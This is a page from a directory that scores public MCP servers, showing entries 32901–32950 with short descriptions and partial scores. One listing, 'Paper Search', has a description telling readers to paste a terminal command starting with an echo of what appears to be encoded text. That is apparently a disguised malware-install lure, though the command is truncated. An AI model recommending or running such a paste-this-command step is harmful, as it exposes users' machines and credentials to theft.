MCP Server Quality Scores

Independent quality analysis of 62421 public MCP servers

62421
Discovered
30103
Scored
2112
Verified
16953
Complete

Last updated 2 hours, 1 minute ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
32901
ZionHopkins
Agentic pipeline — 39 tools from idea to revenue for solo founders.
N/A N/A 95
32902
yuyao1999
RT-Prompt Claim
Provide specialized prompt engineering suggestions to enhance LLM-generated con…
N/A N/A 95
32903
sheikkinen
ms-tts Claim
MCP server for text-to-speech synthesis using Azure Speech Services, supporting…
N/A N/A
32904
Whawi
Ground truth operational layer for urban transfers in LatAm.
32905
mcp Claim 1
Run accessibility, contrast, and design token audits and file QA issues from yo…
N/A N/A 81
32906
lazymac2x
Cloudflare Workers MCP server: cron-collision-detector
32907
simonlin1212
etsy-data Claim 1
Pre-computed Etsy market data for AI agents: Blue Ocean niche scores, best sell…
67
32908
workbench Claim
Hosted DNA/RNA/protein tools: primers, oligos, PCR, cloning, CRISPR, alignment,…
32909
cuongpo
Enables seamless interaction with the Hyperion blockchain, including wallet man…
81
32910
nullptr-z
Provides persistent personal context storage across AI conversations, allowing …
N/A N/A
32911
lazymac2x
Cloudflare Workers MCP server: api-response-cost-analyzer
32912
fntyler
test3 Claim
N/A N/A 95
32913
anduritko
carapidev Claim
Remote MCP server giving AI agents instant access to comprehensive vehicle data…
N/A N/A 95
32914
jompereira
Enables Claude to manage game development projects on HacknPlan, including task…
32915
guinevere-kingsley
Enables AI agents to submit projects, track tasks, and manage work on RobotFail…
32916
cdonoyan
shuka Claim
Universal trust attestation for AI agents. Create, verify, and negotiate trust …
N/A N/A 83
32917
sleepytimeshon
An MCP server that enables AI assistants to manage Google Calendar events, cale…
N/A N/A
32918
Mireye-Labs
earth Claim
MCP server for Mireye Earth — federal-source-cited geospatial data for any MCP-…
32919
Lilbonner
clo3d-mcp Claim
Enables AI-assisted garment design by letting Claude (or any MCP host) drive CL…
N/A N/A
32920 N/A N/A 95
32921
infoinlet-marketplace
mcp-workflow Claim
Workflow automation for AI agents — browse 125 connectors + 234 templates, run …
N/A N/A
32922
asgard-ai-platform
An MCP server for querying Taiwan company registry open data, enabling search b…
32923
DrishtantKaushal
Model Context Protocol server for Langfuse observability. Query traces, analyze…
32924
tony-42069
A Solana MCP server for analyzing memecoins, tracking trends, and providing AI-…
32925
socar-edwin
A Python-based MCP server that acts as a bridge between MCP-compatible clients …
32926
planexhq
markdown-mcp Claim
Provides structured, addressable access to a local markdown vault with heading-…
N/A N/A 95
32927
TokonoMix
Multi-model consensus: 2-6 frontier LLMs answer, an independent judge synthesis…
N/A N/A
32928
jnotsknab
Async Python REPL + Shell execution for MCP. Provides persistent state, backgro…
N/A N/A
32929
davidgut1982
lore-mcp Claim
Persistent knowledge layer for AI agents. KB, investigation threads, journal wi…
32930
undercurrentai
aegis Claim
Six-gate governance for AI agents: PROCEED/PAUSE/HALT decisions with hash-chain…
32931
franlealp1
Enables AI assistants to create, read, and manipulate Microsoft Word documents …
N/A N/A 95
32932
alyiox
MCP server for downloading Jira and Confluence Cloud attachments by attachment …
N/A N/A
32933
helinakdogan
agent-magnet Claim
Self-learning memory for AI tools. Remembers user preferences and context acros…
32934
Autonomad1
travel Claim
AI travel agent — book flights, hotels, activities, and events worldwide via au…
32935
bonkey
Lightweight MCP server that crawls Confluence subtrees and serves cached Markdo…
32936
motecloud
# Motecloud Memory MCP Motecloud is durable memory infrastructure for AI agent…
81
32937
asd-git-master
Enables AI agents and sportsbooks to discover, evaluate, and monitor alternativ…
32938
cevidallara
Connects Claude with Piriod.com API to manage invoicing and payments, enabling …
32939
erinheit451
Evidence-based supplement guidance: clinical doses, form comparisons, interacti…
N/A N/A
32940
sunex
*A public MCP server that exposes Sunex Inc's lens and imager catalog to AI a…
81
32941
MDMagic-MCP
Use your own Word templates to convert Markdown → DOCX/PDF/HTML from any MCP-co…
32942
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
32943
nerkyzas157
Gamito Claim
Enables AI agents to generate budget-disciplined, allergy-safe weekly meal plan…
N/A N/A
32944
maraventano
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
32945
AIops-tools
Governed Proxmox VE VM/container ops — 23 MCP tools with audit, budget, undo & …
N/A N/A
32946
anchorregistry
On-chain provenance lookup for AnchorRegistry. Resolve AR-IDs, hashes, and full…
32947
philipvanlewis
MCP server providing Claude Code with full UniFi network management capabilitie…
32948
killuaa0-0
MCP-SERVER Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
32949
KerryanOPMace
Enables searching companies in the SIRENE database using SIREN, SIRET, or compa…
32950
metaweardigital
Deterministic safety, correctness & cost gate that vets Postgres SQL before you…
67
Showing 32901–32950 of 62421 servers
« Prev 1 657 658 659 660 661 1249 Next »